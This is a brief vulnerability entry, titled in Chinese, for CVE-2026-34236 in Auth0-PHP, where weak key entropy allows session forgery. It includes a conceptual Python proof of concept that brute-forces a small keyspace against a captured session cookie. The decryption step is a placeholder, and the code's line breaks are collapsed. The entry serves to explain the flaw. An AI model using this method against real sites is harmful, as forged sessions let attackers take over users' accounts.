CVE-2026-34236 Auth0-PHP加密熵不足导致会话伪造

# This is a conceptual PoC for demonstrating the brute force attack on weak entropy # Author: Security Analyst # Date: 2026-04-01 import hashlib import itertools import base64 # Simulated weak key generation based on low entropy source (e.g., limited timestamp or PID) def generate_weak_keyspace(): # In the real vulnerability, the entropy might be based on a small range of values # Here we simulate keys derived from a 16-bit integer space for demonstration for i in range(0, 65535): # Simulating the key derivation logic found in the vulnerable SDK key_material = f"auth0_static_salt_{i}".encode('utf-8') yield hashlib.sha256(key_material).digest()[:16] # Assuming 16-byte key # Function to attempt decryption/verification def attempt_decrypt(captured_cookie, key): # Pseudo-code for decryption logic # In a real scenario, this would use the specific cipher mode (e.g., AES-GCM) used by Auth0-PHP try: # Mock verification: if the decryption produces valid JSON or padding, it's a hit # iv = captured_cookie[:12] # ciphertext = captured_cookie[12:] # decryptor = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend()).decryptor() # plaintext = decryptor.update(ciphertext) + decryptor.finalize() # return True if plaintext is valid return False # Placeholder except Exception: return False def main(): # The attacker captures the encrypted session cookie from the network captured_cookie = "<captured_cookie_base64_string_here>" print(f"[*] Starting brute force on captured cookie: {captured_cookie[:20]}...") for key in generate_weak_keyspace(): if attempt_decrypt(captured_cookie, key): print(f"[+] Key found: {key.hex()}") print("[!] Attacker can now forge session cookies.") break else: print("[-] Key not found in simulated keyspace.") if __name__ == "__main__": main()